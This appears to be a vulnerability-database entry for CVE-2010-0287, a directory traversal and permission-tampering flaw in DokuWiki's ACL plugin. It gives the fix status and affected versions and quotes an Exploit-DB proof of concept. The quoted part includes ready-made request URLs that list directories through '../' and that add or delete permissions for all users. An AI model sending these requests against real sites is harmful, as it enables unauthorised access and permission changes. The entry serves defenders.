CVE-2010-0287

medium

Published 2010-02-15 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the ACL Manager plugin (plugins/acl/ajax.php) in DokuWiki before 2009-12-25b allows remote attackers to list the contents of arbitrary directories via a .. (dot dot) in the ns parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11141 webapps php verified text · 1 KB

IHTeam · 2010-01-14

dokuwiki 2009-12-25 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

Reported:        13-01-2010
Patched:        13-01-2010
Released:        14-01-2010
Vulnerable version :     
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25.tgz
Patched version:    
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25b.tgz
Author:            white_sheep
Contact:        white_sheep@ihteam.net - https://www.ihteam.net

--------------------  Show Outside Directory

PoC :

     http://server/plugins/acl/ajax.php?ajax=tree&ns=../pages/

     The bug allows listing the names of arbitrary file on the webserver 
- NOT THEIR CONTENTS.


--------------------  Arbitrary Change or Delete Wiki Permission

PoC :

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL) 

             add to acl.auth.php read or write authorization.

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
             delete from acl.auth.php an eventually authorization like 
(ACL).

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
             delete from acl.auth.php all authorization like (ACL).

     where (ACL) must be:
         1     -> read
         2     -> modified
         4     -> creation
         8     -> upload
         16     -> delete

OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`0.0.20090214b-3.1`
sid	Fixed	`0.0.20090214b-3.1`
forky	Fixed	`0.0.20090214b-3.1`
bullseye	Fixed	`0.0.20090214b-3.1`
bookworm	Fixed	`0.0.20090214b-3.1`

Application impact

Vendor	Product	Versions
dokuwiki	dokuwiki	`2004-11-01`
dokuwiki	dokuwiki	`2004-11-02`
dokuwiki	dokuwiki	`2004-11-10`
dokuwiki	dokuwiki	`2005-01-14`
dokuwiki	dokuwiki	`2004-08-08`
dokuwiki	dokuwiki	`2004-08-15a`
dokuwiki	dokuwiki	`2004-08-22`
dokuwiki	dokuwiki	`2004-09-12`
dokuwiki	dokuwiki	`2004-09-25`
dokuwiki	dokuwiki	`2004-09-30`
dokuwiki	dokuwiki	`2005-07-01`
dokuwiki	dokuwiki	`2005-01-15`
dokuwiki	dokuwiki	`2005-01-16a`
dokuwiki	dokuwiki	`2005-02-06`
dokuwiki	dokuwiki	`2005-02-18`
dokuwiki	dokuwiki	`2005-05-07`
dokuwiki	dokuwiki	`2005-07-13`
dokuwiki	dokuwiki	`2005-09-19`
dokuwiki	dokuwiki	`{"endIncluding":"release_2009-02-14"}`
dokuwiki	dokuwiki	`2004-07-04`
dokuwiki	dokuwiki	`2004-07-07`
dokuwiki	dokuwiki	`2004-07-12`
dokuwiki	dokuwiki	`2004-07-21`
dokuwiki	dokuwiki	`2004-07-25`
dokuwiki	dokuwiki	`2005-09-22`
dokuwiki	dokuwiki	`2006-03-05`
dokuwiki	dokuwiki	`2006-03-09`
dokuwiki	dokuwiki	`2006-03-09e`
dokuwiki	dokuwiki	`2006-06-04`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.